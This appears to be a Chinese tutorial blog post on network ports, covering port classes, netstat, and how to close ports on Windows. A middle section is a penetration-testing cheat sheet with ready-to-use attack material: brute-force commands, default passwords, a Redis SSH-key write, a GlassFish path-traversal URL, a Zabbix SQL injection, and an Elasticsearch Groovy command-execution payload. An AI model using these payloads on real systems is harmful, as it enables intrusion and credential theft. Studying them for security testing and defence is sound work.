一、摘要
计算机 "端口" 是英文 port ,可以认为是计算机与外界通讯交流的出口。
- 其中硬件领域的 端口 又称 接口,如:USB端口、串行端口等。
- 软件领域的 端口 一般指网络中面向连接服务和无连接服务的通信协议端口,是一种抽象的软件结构,包括一些 数据结构 和 I/O(基本输入输出)缓冲区。
面向连接 和 无连接 协议(Connection-Oriented and Connectionless Protocols)
- 面向连接服务的主要特点有:面向连接服务要经过三个阶段:数据传数前,先建立连接,连接建立后再传输数据,数据传送完后,释放连接。面向连接服务,可确保数据传送的次序和传输的可靠性。
- 无连接服务的特点是:无连接服务只有传输数据阶段。消除了除数据通信外的其它开销。只要发送实体是活跃的,无须接收实体也是活跃的。它的优点是灵活方便、迅速,特别适合于传送少量零星的报文,但无连接服务不能防止报文的丢失、重复或失序。
区分 "面向连接服务" 和 "无连接服务" 的概念很简单,形象的例子是:打电话和写信。
- 面向连接就相当于打电话:两个人如果要通电话,必须先建立连接(即拨号),等待应答后才能相互传递信息,最后还要释放连接(即挂电话)。
- 无连接服务就相当于写信:写信就没有那么复杂了,地址姓名填好以后直接往邮筒一扔,收信人就能收到。
二、什么是端口
在 Internet 上,各主机间通过 TCP/TP 协议 发送和接收 数据报,各个数据报 根据其 目的主机的 IP 地址 来进行互联网络中的路由选择,但是现在操作系统都支持 多程序(进程) 同时运行,那么目的主机应该把接收到的数据报传送给这些同时运行的进程中的哪一个呢?显然这个问题有待解决,端口机制便由此被引入进来。
本地操作系统会给那些有需求的进程分配协议端口 ( protocal port,即我们常说的端口 ),每个协议端口由一个正整数标识,如:80,139,445,等等。当目的主机接收到数据报后,将根据报文首部的目的端口号,把数据发送到相应端口,而与此端口相对应的那个进程将会领取数据并等待下一组数据的到来。
端口 的 形象理解
可以将计算机想象成一幢大楼,有许多门通向不同的办公室。每个办公室里都有一个职员在做一项工作。门牌号80后面的办公室就负责处理web请求。也有可能web部门搬进了另外一个办公室,例如8080办公室,继续做相同的工作(处理web请求)。另外一个部门搬进了80办公室,它们并不处理web请求,或者80办公室关闭了或停止使用了。那么试图访问80办公室获得web页面的访客就需要知道该部门已经搬到8080办公室,不再使用80办公室。如果一个访客在该部门搬走后还试图访问80端口获得和web有关的信息,他不会得到任何有用的信息,因为80办公室更换了部门或者办公室已停用。只有知道正确的办公室地址的人才能从8080端口获得网页内容。
- 计算机 相当于 大楼
- 端口 相当于 门牌号对应的门
- 应用程序 相当于 办公室,程序的功能就是办公室里面职员做的工作。
应用程序(调入内存运行后一般称为:进程)通过系统调用与某端口建立连接(binding,绑定)后,传输层传给该端口的数据都被相应的进程所接收,相应进程发给传输层的数据都从该端口输出。在 TCP/IP 协议的实现中,端口操作类似于一般的 I/O 操作,进程获取一个端口,相当于获取本地唯一的I/O文件,可以用一般的读写方式访问。
Linux 中类似于文件描述符,每个端口都拥有一个叫做端口号的整数描述符,用来区别不同的端口。
由于 TCP/IP 传输层的 TCP 和 UDP 两个协议是两个完全独立的软件模块,因此各自的端口号也相互独立。
如 TCP有一个 255 号端口,UDP 也可以有一个 255 号端口,两者并不冲突。
三、端口的分类
端口是设备与外界通讯交流的出口。端口是通过 端口号 来标记的,端口号只有整数,范围是从0 到 65535
在 Internet 上,按照协议类型分类,端口 被分为 TCP端口 和 UDP端口 两类,虽然他们都用正整数标识,但这并不会引起歧义。
比如:TCP的80端口 和 UDP的80端口,因为数据报在标明端口的同时,还将标明端口的类型,所以不会发生冲突。
端口号有两种基本分配方式:
- 全局分配:这是一种集中分配方式,由一个公认权威的中央机构根据用户需要进行统一分配,并将结果公布于众,
- 本地分配:又称 动态连接,即进程需要访问传输层服务时,向本地操作系统提出申请,操作系统返回本地唯一的端口号,进程再通过合适的系统调用,将自己和该端口连接起来(binding,绑定)。
TCP/IP 端口号的分配综合了以上两种方式,将端口号分为两部分,
- 少量的作为保留端口,以全局方式分配给服务进程。每一个标准服务器都拥有一个全局公认的端口叫周知口,即使在不同的机器上,其端口号也相同。
- 剩余的为自由端口,以本地方式进行分配。TCP和UDP规定,小于256的端口才能作为保留端口。
从端口的分配来看,端口被分为 固定端口 和 动态端口 两大类( 一些教程还将极少被用到的高端口划分为第三类:私有端口):
- 固定端口(0-1023):使用集中式管理机制,即服从一个管理机构对端口的指派,这个机构负责发布这些指派。通常这些端口的通讯明确表明了某种服务的协议。例如:80端口实际上总是HTTP通讯。 所以可以扫描这些端口来判断对方是否开启了这些服务,如TCP的21(ftp),80(http),139(netbios),UDP的7(echo),69(tftp)等等一些大家熟 知的端口。
- 动态端口(1024-49151):这些端口并不被固定捆绑某一服务,操作系统将这些端口动态的分配给各个进程, 同一进程两次分配有可能分配到不同的端口。不过一些应用程序并不愿意使用操作系统分配的动态端口,他们有其自己的 "商标性" 端口,比如:oicq 客户端的 4000 端口,木马冰河的7626端口等都是固定而出名的。
- 私有端口(Dynamic and/or Private Ports):从 49152 到 65535。理论上,不应为服务分配这些端口。实际上,机器通常从1024起分配动态端口。但也有例外:SUN的RPC端口从32768开始。
端口分类
- 公认端口 (Well Known Ports):0-1023,他们紧密绑定了一些服务;
- 注册端口 (Registered Ports):1024-49151,他们松散的绑定了一些服务;
- 动态 / 私有:49152-65535,不为服务分配这些端口;
系统管理员可以 "重定向" 端口:
- 把一个端口重定向到另一个端口。例如:默认的 HTTP 端口是 80,可以重定向到 8080。访问 http://www.127.0.0.1:8080/ 就是访问 http://www.127.0.0.1:80/
实现重定向是为了隐藏公认的默认端口,降低受破坏率。
- 如果要对一个公认的默认端口进行攻击,则必须先进行端口扫描。大多数端口重定向与原端口有相似之处,例如:多数 HTTP端口由80变化而来:81,88,8000,8080,8888。同样 POP 的端口原来在110,也常被重定向到 1100。也有不少情况是选取统计上有特别意义的数,象1234,23456,34567等。许多人有其它原因选择奇怪的数,42,69,666,31337。近来,越来越多的远程控制木马( Remote Access Trojans, RATs )采用相同的默认端口。如NetBus的默认端口是12345。Blake R. Swopes 指出使用重定向端口还有一个原因,在 UNIX 系统上,如果你想侦听 1024 以下的端口需要有 root 权限。如果你没有 root 权限而又想开 web 服务,你就需要将其安装在较高的端口。此外,一些 ISP 的防火墙将阻挡低端口的通讯,这样的话即使你拥有整个机器你还是得重定向端口。
四、端口在入侵中的作用
如果把 服务器 比作 房子,那么 端口 可以看作是通向不同房间(服务)的 门,如果不考虑细节的话,这是一个不错的比喻。
入侵者要占领这间房子,势必要破门而入(物理入侵另说),那么对于入侵者来说,了解房子开了几扇门,都是什么样的门,门后面有什么东西就显得至关重要。
入侵者通常会用 扫描器 对目标主机的 端口 进行扫描,以确定哪些端口是开放的,从开放的端口,入侵者可以知道目标主机大致提供了哪些服务,进而猜测可能存在的漏洞。
因此对端口的扫描可以帮助我们更好的了解目标主机,而对于管理员,扫描本机的开放端口也是做好安全防范的第一步。
五、端口的相关工具
netstat -an
查看自己所开放端口的最方便方法,在 cmd 中输入这个命令就可以了。如下:
C:/>netstat -an
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1028 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING
UDP 0.0.0.0:135 *:*
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:1027 *:*
UDP 127.0.0.1:1029 *:*
UDP 127.0.0.1:1030 *:*
这是我没上网的时候机器所开的端口,两个135和445是固定端口,其余几个都是动态端口。
fport.exe 和 mport.exe
:fport mport pskill_csdnww1130的博客-优快云博客
这也是两个命令行下查看本地机器开放端口的小程序,其实与 netstat -an 这个命令大同小异,只不过它能够显示打开端口的进程,信息更多一些而已,如果你怀疑自己的奇怪端口可能是木马,那就用他们查查吧。
activeport.exe(也称aports.exe)
还是用来查看本地机器开放端口的东东,除了具有上面两个程序的全部功能外,他还有两个更吸引人之处:图形界面以及可以关闭端口。这对菜鸟来说是个绝对好用的东西,推荐使用喔。
superscan
纯端口扫描类软件中的 NO.1,速度快而且可以指定扫描的端口,不多说了,绝对必备工具。
六、保护好自己的端口
刚接触网络的朋友一般都对自己的端口很敏感,总怕自己的电脑开放了过多端口,更怕其中就有后门程序的端口,但由于对端口不是很熟悉,所以也没有解决办法,上起网来提心吊胆。其实保护自己的端口并不是那么难,只要做好下面几点就行了:
- 1) 查看:经常用命令或软件查看本地所开放的端口,看是否有可疑端口;
- 2) 判断:如果开放端口中有你不熟悉的,应该马上查找端口大全或木马常见端口等资料(网上多的很),看看里面对你那个可疑端口的作用描述,或者通过软件查看开启此端口的进程来进行判断;
- 3) 关闭:如果真是木马端口或者资料中没有这个端口的描述,那么应该关闭此端口,你可以用防火墙来屏蔽此端口,也可以用本地连接-TCP/IP-高级-选项-TCP/IP筛选,启用筛选机制来筛选端口;
注意:判断时候要慎重,因为一些动态分配的端口也容易引起你多余的怀疑,这类端口一般比较低,且连续。还有,一些狡猾的后门软件,他们会借用 80 等一些常见端口来进行通信(穿透了防火墙),令人防不胜防,因此不轻易运行陌生程序才是关键。
七、端口 漏洞
关键字:端口 漏洞
常见端口及其漏洞:https://www.jianshu.com/p/d476e2a1af7e
端口渗透过程中我们需要关注几个问题:
- 1、 端口的banner信息
- 2、 端口上运行的服务
- 3、 常见应用的默认端口
端口号 | 端口说明 | 相关漏洞 |
---|---|---|
21 | FTP文件传输协议 | 允许匿名的上传、下载、爆破和嗅探操作 |
22 | SSH远程连接 | 爆破、SSH隧道及内网代理转发、文件传输 |
23 | Telnet远程连接 | 爆破、嗅探、弱口令 |
25 | SMTP邮件服务 | 邮件伪造 |
53 | DNS域名服务器 | 允许区域传送、DNS劫持、缓存投毒、欺骗、CVE-2020-1350 |
67、68 | DHCP服务 | 劫持、欺骗 |
69 | 小型文件传输协议 | 允许匿名的上传、下载、爆破和嗅探操作 |
80 --- 90 | 常见web服务端口 | web攻击、爆破、对应服务器版本漏洞 |
110 | POP3协议 | 嗅探、爆破 |
139 | SAMBA服务 | 爆破、未授权访问、远程代码执行 |
143 | IMAP协议 | 爆破 |
161 | SNMP协议 | 爆破、搜集目标内网信息 |
389 | LDAP目录访问协议 | 注入、允许匿名访问、弱口令 |
443 | 常见web端口 | web攻击、爆破、对应服务器版本漏洞 |
445 | Microsoft-DS,为共享开放 | 代码执行、ms06-040、0796等 |
512 / 513 / 514 | Linux rexec服务 | 爆破、远程登录 |
873 | rsync服务 | 匿名访问、文件上传 |
1025 | RPC | NFS 匿名访问 |
1099 | javarmi | 远程命令执行漏洞 |
1352 | Lotus Domino邮件服务 | 弱口令、信息泄露、爆破 |
1433 | MSSQL数据库 | 注入、提权、SA弱口令、爆破 |
1521 | Oracle数据库 | TNS爆破、注入、反弹shell |
2049 | NFS服务 | 配置不当 |
2181 | ZooKeeper服务 | 未授权访问 |
3306 | Mysql数据库 | 注入、提权、爆破 |
3389 | RDP远程端口连接 | shift后门、爆破、ms12-020、CVE-2019-0708 |
3690 | SVN服务 | SVN泄露、未授权访问 |
4848 | GlassFish控制台 | 弱口令 |
5000 | Sysbase/DB2数据库 | 爆破、注入 |
5432 | PostgreSQL数据库 | 爆破、注入、弱口令 |
5632 | PcAnywhere服务 | 抓取密码、代码执行 |
5900 / 5901 / 5902 | VNC | 弱口令爆破 |
5984 | CouchDB | 未授权访问 |
6379 | Redis数据库 | 可尝试为授权访问、弱口令爆破 |
7001 / 7002 | WebLogic控制台 | 反序列化、控制台弱口令 |
8009 | Tomcat AJP协议 | Tomcat AJP协议漏洞 |
8069 | Zabbix服务 | 远程执行、SQL注入 |
8080、8089 | JBoss/Resin/Jetty/Jenkins/tomcat | 反序列化、控制台弱口令 |
8888 | jupyter notebook | 未授权访问 |
9090 | WebSphere控制台 | Java反序列化、弱口令 |
9200、9300 | Elasticsearch服务 | 远程执行 |
10000 | webmin控制面板 | 弱口令 |
11211 | Memcached服务 | 未授权访问 |
27017/27018 | MongoDB数据库 | 爆破、未授权访问 |
50000 | SAP Management Console | 远程执行 |
50050 | CS | 弱口令 |
端口 服与漏洞
21/69 ftp/tftp:文件传输协议,漏洞1.爆破2.嗅探溢出3.后门4.匿名访问
22 ssh,漏洞:爆破,openssh漏洞
23 telnet:远程连接,漏洞:爆破,嗅探
25 smtp:邮件服务,漏洞:弱口令,未授权访问,邮件伪造
53 dns:域名系统,漏洞:dns区域传输,劫持,缓存投毒,隧道技术刺透防火墙
80/8080 apache/tomcat/nginx/axis2,漏洞,爆破,弱口令,http慢速攻击(可以把服务器打死),解析漏洞
80/443/8080 web,漏洞:常见web攻击,控制台爆破,对应服务器版本漏洞
80/81/443 IIS,漏洞:put写文件,短文件名漏洞,解析漏洞
110 pop3,漏洞:弱口令
123 ntp,漏洞:ntp放大攻击
137/139 samba,漏洞:爆破,未授权访问,远程代码执行
143 imap,漏洞:弱口令
1521 oracle,漏洞:爆破,注入攻击
161 snmp,漏洞:爆破
389 ladp,漏洞:注入攻击,未授权访问,爆破
443 https,漏洞:心脏滴血
445 smb,漏洞:溢出漏洞
512 linux r,漏洞:rlogin远程登录
873 rsync,漏洞:未授权访问
1080 socket,漏洞:爆破:进行内网渗透
1098 javarmi,漏洞:命令执行
1352 lotus,漏洞:爆破,信息泄露,跨站脚本攻击
1433 mssql,漏洞:爆破,注入攻击
2049 nfs,漏洞:未授权访问
2181 zookeeper,漏洞:未授权访问
2222 da,漏洞:da虚拟主机
2601 zebra,漏洞:默认密码
3128 squid,漏洞:空口令
3306 mysql,漏洞:爆破,拒绝服务,注入
3389 rdp/windows远程连接,漏洞:爆破,shift后门,3389漏洞攻击
4100 sysbase,漏洞:弱口令
4440 rundeck,漏洞:弱口令
4848 glassfish,漏洞:爆破,认证绕过
5000 sybase/db2,漏洞:弱口令,命令注入
5422 postgresql,漏洞:弱口令
5432 postgresql,漏洞:缓冲区溢出,注入攻击,爆破
5632 pcanywhere,漏洞:拒绝服务,代码执行
5900 vnc,漏洞:爆破,认证口令绕过,拒绝服务攻击,权限提升
5984 couchdb,漏洞:命令执行
6082 varnish,漏洞:未授权访问
6379 redis,漏洞:弱口令,未授权访问
7001 weblofic,漏洞:爆破,弱口令(system/system,weblogic/weblogic),congsole后台部署webshell,java反序列化,泄漏源代码/列目录,ssrf窥探内网,命令执行
8000 jdwp,漏洞:命令执行
8069 zabbix,漏洞:命令执行
8080 apache/tomcat/nginx/axis2/jboss中间件,漏洞:弱口令,命令执行
8080 jboss,其他端口:1098/1099/4444/4445/8080/8009/8083/8093,漏洞:爆破,远程代码执行,java反序列化
8080 glassfish,其他端口:iiop:3700;控制台:4848,漏洞:爆破,任意文件读取,认证绕过
8080 resin,漏洞:目录遍历,远程代码执行
8080/8089 jenkis,漏洞:爆破,未授权访问,反序列化
8080 jetty,漏洞:远程共享缓冲区溢出
8161 activemq,漏洞:文件上传
8649 ganglia,漏洞:未授权访问,信息泄露
8980 opennms,漏洞:反序列化漏洞
9080 websphere,漏洞:弱口令,反序列化,文件泄露
9090 websphere,漏洞:控制台爆破,反序列化java
9200/9300 elasticsearch,漏洞远程代码执行,未授权访问
11211 memcache,漏洞:未授权访问
11211 memcacache,漏洞:未授权访问
27017 mongodb,漏洞:未授权访问
27017 mongodb,漏洞:爆破,未授权
27018 mongodb,漏洞:未授权
50000 sap,漏洞:命令执行
50010 hadoop,漏洞:信息泄露,命令执行
50030 hadoop,漏洞:未授权访问
50070 hadoop,漏洞:未授权访问
512/513/514 linux r,漏洞:直接使用rlogin
67/68 dhcp,漏洞:劫持,欺骗
常见漏洞类型:
21.FTP (21)
测试内容
爆破:工具hydra,msf…
匿名访问:用户名:anonymous 密码:为空
弱口令:字典
22.SSH (22)
SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议
测试内容
暴力破解,弱口令
相关工具:hydra,msf等
23.Telnet (23)
测试内容
嗅探:此种情况一般发生在局域网;
暴力破解帐号密码,弱口令,空口令
25.SMTP (25)
测试内容
邮件欺骗,转发垃圾邮件
针对不同版本的邮件服务器外部公开的漏洞,可以在各大漏洞数据库查询。
Snmp默认团体名:
相关工具
使用namp脚本:nmap -Pn -sS -p25 --script smtp* -v
53.DNS(53)
默认端口:53
攻击方式:
dns域传输漏洞 dns.py
110.POP3(110)
默认端口:109(POP2)、110(POP3)、995(POP3S)
攻击方式:
爆破;弱口令;邮箱泄露(Github敏感信息泄漏)
可利用一些邮箱爆破脚本
389.LDAP(389)
ldap:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;这些问题的出现也都是因为配置不当而造成的。
默认端口:389
攻击方式:
注入攻击:盲注; 爆破:弱口令
未授权访问:如:ldap://1.1.1.1:389
80.HTTP/HTTPS (80,443)
超文本传输协议(HTTP,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议。Web应用程序安全测试,可以参照:web应用测试案例
443端口作为默认https服务端口,较常见的漏洞危害大的就是心脏出血。
445.SMB (445)
SMB(Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。
测试内容
网络公开的针对smb协议的漏洞利用,例如ms08-067,ms17-010
相关工具
msf(auxiliary/scanner/smb/smb_version)
nmap脚本:smb-check-vulns
873.Rsync(873)
Rsync:类UNIX系统下的数据备份工具(remote sync),Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。
默认端口:873
攻击方式:
未授权访问
nmap 0.0.0.0/24 -p873 --open
root@kali: rsync 127.0.0.1::
1090.RMI (1090)
默认端口:1090、1099、9090
攻击方式:
远程命令执行(java反序列化),dubbo java 反序列
dubbo java 反序列:
1433.MSSQL(1433)
MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台。
测试内容
暴力破解
工具:hydra
1521.Oracle (1521)
Oracle是甲骨文公司的一款关系数据库管理系统。
测试内容
暴力破解
枚举数据库信息
测试工具:msf等
2181.Zookeeper(2181)
zookeeper分布式的,开放源码的分布式应用程序协调服务。
默认端口:2181
未授权访问;
root@kali:~# echo envi |nc 0.0.0.0 2181
2375.Docker(2375)
默认端口:2375
未授权访问;
Ip:2375/version
3306.MYSQL (3306)
MySQL是一个关系型数据库管理系统。
测试内容
暴力破解
爆破工具:hydra,python,
hydra.exe -L c:user.txt -P c:pass.txt ip mysql
3389.RDP (3389)
远程桌面协议(RDP)远程桌面登陆服务,默认Windows 3389端口。
测试内容
爆破用户密码
根据网络公开的漏洞exp进行测试如ms12-020,cve-2019-0708
相关工具:hydra,msf
hydra 192.168.1.12 rdp -L users.txt -P pass.txt -V
ms12-020:
cve-2019-0708:
4848.GlassFish(4848)
默认端口: 4848
攻击方式:
爆破, 认证绕过,弱口令admin:admin
任意文件读取:/etc/passwd
https://ip:4848//theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
5432.PostgreSQL(5432)
PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统。
默认端口:5432
攻击方式:
爆破:弱口令:postgres postgres
弱口令可以用PostgreSQL数据库工具登录.
缓冲区溢出:CVE-2014-2669
工具命令:medusa -H /tmp/ip.txt -u postgres -n 5432 -P /tmp/pass.txt -e ns -M postgres -T 255 -f -O /tmp/good.txt -r 0
5601.Kibana(5601)
默认端口:5601
Ip:5601/app/kibana
5900.VNC(5900)
VNC一款优秀的远控工具。
默认端口:5900+桌面ID(5901;5902)
攻击方式:
爆破,弱口令,认证口令绕过。
vnc -i IP1.255.255.255 -p 5900 –vnc
也可以用VNC连接工具进行连接
6379Redis(6379)
默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
工具:
https://github.com/caoxinyu/RedisClient
GitHub - uglide/RedisDesktopManager: Cross-platform Developer GUI for Redis
在上图的命令行下可利用Redis 写入webshell,前提条件是开了web并且知道路径才成功。
#ssh-keygen –t rsa
#(echo -e " "; cat id_rsa.pu; echo -e " ") > test.txt
#cat test.txt | redis-cli -h xx.xx.xx.xx -x set aa
redis-cli -h 0.0.0.0
0.0.0.0:6379> config set dir /root/.ssh/
OK
0.0.0.0:6379> config set dbfilename “test”
OK
0.0.0.0:6379> save
OK
7001.WebLogic(7001)
默认端口:7001
攻击方式:Java反序列化,WEBLOGIC SSRF,WEBLOGIC
CVE-2014-4210,CVE-2016-0638 ,CVE-2016-3510 ,CVE-2017-3248,CVE-2018-2628 ,CVE-2018-2893,CVE-2019-2725,CVE-2019-2729 ,CVE-2018-2894,CVE-2017-3506,CVE-2017-10271
爆破:弱口令 4组:用户名密码均一致:system weblogic(密码可能weblogic123) portaladmin guest
Java反序列化:
WebLogic 反序列化漏洞补丁绕过(CVE-2017-3248)
Weblogic SSRF:
ip:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip:port&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
8080.Resin(8080)
默认端口:8080
攻击方式:
弱口令 admin/admin
/resin-admin/status.php
目录遍历
ip/E:%5C/ & ip/ /web-inf/
文件读取
/resin-doc/examples/security-basic/viewfile?file=WEB-INF/web.xml
Ssrf:/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://10.29.5.24
8069.Zabbix(8069)
zabbix基于Web界面的提供分布式系统监视。监视各种网络参数,保证服务器系统的安全运营。
默认端口:8069
攻击方式:
弱口令;admin/zabbix
ip/zabbix
注入
/zabbix/httpmon.php?applications=2 and (select 1 from (select count(),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
zabbix后台是可以直接执行shell命令的。可反弹shell。
8080.Tomcat(8080)
默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager/html后台)admin/admin tomcat/tomcat admin/null
HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
Tomcat官方安全公告漏洞;如:CVE-2017-12615
8080.Jboss(8080)
默认端口:8080
攻击方式:
爆破,弱口令(爆破jboss系统后台)/admin-console
远程代码执行:配置不当/jmx-consoel /web-console /invoker/JMXInvokerServlet,无密码认证或认证绕过。
Java反序列化:
8080.Jenkins(8080)
默认端口:8080、8089
攻击方式:
爆破:弱口令(默认管理员)admin/admin…
未授权访问:
ip/script 可直接进入无需密码执行命令
反序列化漏洞:网上公开
9090.Websphere(9090)
默认端口:9090;第一个应用就是9080,第二个就是9081;控制台9090
攻击方式:
爆破:弱口令(控制台)admin/admin…
/ibm/console/
任意文件泄漏:(CVE-2014-0823)
Java反序列化;
9200.Elasticsearch(9200)
默认端口:9200、9300 攻击方式:
未授权访问;
ip:9200/_plugin/head/ ip:9200/_search?Preety ip:9200/_cat
远程命令执行;
命令:
查看状态:http:// ip:9200/_status
集群健康报告:http:// ip:9200/_cluster/health
集群节点信息:http:// ip:9200/_nodes
http:// ip:9200/_search?pretty
插入数据:
curl -XPOST http:// ip:9200/test/test/1 -d'
{"content":"中国好礼物,可惜是xo"}
当然也可以先创建索引:
curl -XPUT http://ip:9200/test-test
查询插入的数据:
curlhttp://ip:9200/test/test/_search?pretty
删除索引:
curl -XDELETE http://ip:9200/test
Elasticsearch Groovy 脚本动态执行漏洞;
POST数据提交:
211.151.7.139:9200/_search?pretty
{"size":1,"script_fields":{"test#": {"script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("cat/etc/hosts").getInputStream())).readLines()","lang": "groovy"}}}
11211.memcache(11211)
默认端口:11211
未授权访问
nc -vv 127.0.0.1 11211
stats items
stats cachedump 11 11
get admin_user_admin
27017.MongoDB(27017)
MongoDB:NoSQL数据库。
默认端口:27017
攻击方式:
爆破:弱口令
未授权访问;
工具: https://robomongo.org/download
127.0.0.1:27017
限制端口防非法入侵
一般来说,我们采用一些功能强大的反黑软件和防火墙来保证我们的系统安全,本文拟用一种简易的办法——通过限制端口来帮助大家防止非法入侵。
非法入侵的方式
简单说来,非法入侵的方式可粗略分为4种:
- 1、扫描端口,通过已知的系统Bug攻入主机。
- 2、种植木马,利用木马开辟的后门进入主机。
- 3、采用数据溢出的手段,迫使主机提供后门进入主机。
- 4、利用某些软件设计的漏洞,直接或间接控制主机。
非法入侵的主要方式是前两种,尤其是利用一些流行的黑客工具,通过第一种方式攻击主机的情况最多、也最普遍;而对后两种方式来说,只有一些手段高超的黑客才利用,波及面并不广泛,而且只要这两种问题一出现,软件服务商很快就会提供补丁,及时修复系统。
因此,如果能限制前两种非法入侵方式,就能有效防止利用黑客工具的非法入侵。而且前两种非法入侵方式有一个共同点,就是通过端口进入主机。
端口就像一所房子(服务器)的几个门一样,不同的门通向不同的房间(服务器提供的不同服务)。我们常用的FTP默认端口为21,而WWW网页一般默认端 口是80。但是有些马虎的网络管理员常常打开一些容易被侵入的端口服务,比如139等;还有一些木马程序,比如冰河、BO、广外等都是自动开辟一个您不察 觉的端口。那么,只要我们把自己用不到的端口全部封锁起来,不就杜绝了这两种非法入侵吗?
限制端口的方法
对于个人用户来说,您可以限制所有的端口,因为您根本不必让您的机器对外提供任何服务;而对于对外提供网络服务的服务器,我们需把必须利用的端口(比如WWW端口80、FTP端口21、邮件服务端口25、110等)开放,其他的端口则全部关闭。
这里,对于采用Windows 2000或者Windows XP的用户来说,不需要安装任何其他软件,可以利用“TCP/IP筛选”功能限制服务器的端口。具体设置如下:
1、右键点击“网上邻居”,选择“属性”,然后双击“本地连接”(如果是拨号上网用户,选择“我的连接”图标),弹出“本地连接状态”对话框。
2、点击[属性]按钮,弹出“本地连接 属性”,选择“此连接使用下列项目”中的“Internet协议(TCP/IP)”,然后点击[属性]按钮。
3、在弹出的“Internet协议(TCP/IP)”对话框中点击[高级]按钮。在弹出的“高级TCP/IP 设置”中,选择“选项”标签,选中“TCP/IP筛选”,然后点击[属性]按钮。
4、在弹出的“TCP/IP筛选”对话框里选择“启用TCP/IP筛选”的复选框,然后把左边“TCP端口”上的“只允许”选上。
每一项服务都对应相应的端口,比如众如周知的WWW服务的端口是80,smtp是25,ftp是21,win2000安装中默认的都是这些服务开启的。对于个人用户来说确实没有必要,关掉端口也就是关闭无用的服务。
“控制面板”的“管理工具”中的“服务”中来配置。
1、关闭7.9等等端口:关闭Simple TCP/IP Service,支持以下TCP/IP服务:Character Generator,Daytime, Discard, Echo, 以及 Quote of the Day。
2、关闭80口:关掉WWW服务。在“服务”中显示名称为"World Wide Web Publishing Service",通过 Internet 信息服务的管理单元提供 Web 连接和管理。
3、关掉25端口:关闭Simple Mail Transport Protocol (SMTP)服务,它提供的功能是跨网传送电子邮件。
4、关掉21端口:关闭FTP Publishing Service,它提供的服务是通过 Internet 信息服务的管理单元提供 FTP 连接和管理。
5、关掉23端口:关闭Telnet服务,它允许远程用户登录到系统并且使用命令行运行控制台程序。
6、还有一个很重要的就是关闭server服务,此服务提供RPC支持、文件、打印以及命名管道共享。关掉它就关掉了win2k的默认共享,比如ipc$、c$、admin$等等,此服务关闭不影响您的其他操作。
7、还有一个就是139端口,139端口是NetBIOS Session端口,用来文件和打印共享,注意的是运行samba的unix机器也开放了139端口,功能一样。以前流光2000用来判断对方主机类型不太准确,估计就是139端口开放既认为是NT机,现在好了。
关闭139口听方法是在“网络和拨号连接”中“本地连接”中选取“Internet协议(TCP/IP)”属性,进入“高级TCP/IP设置”“WINS设置”里面有一项“禁用TCP/IP的NETBIOS”,打勾就关闭了139端口。
对于个人用户来说,可以在各项服务属性设置中设为“禁用”,以免下次重启服务也重新启动,端口也开放了。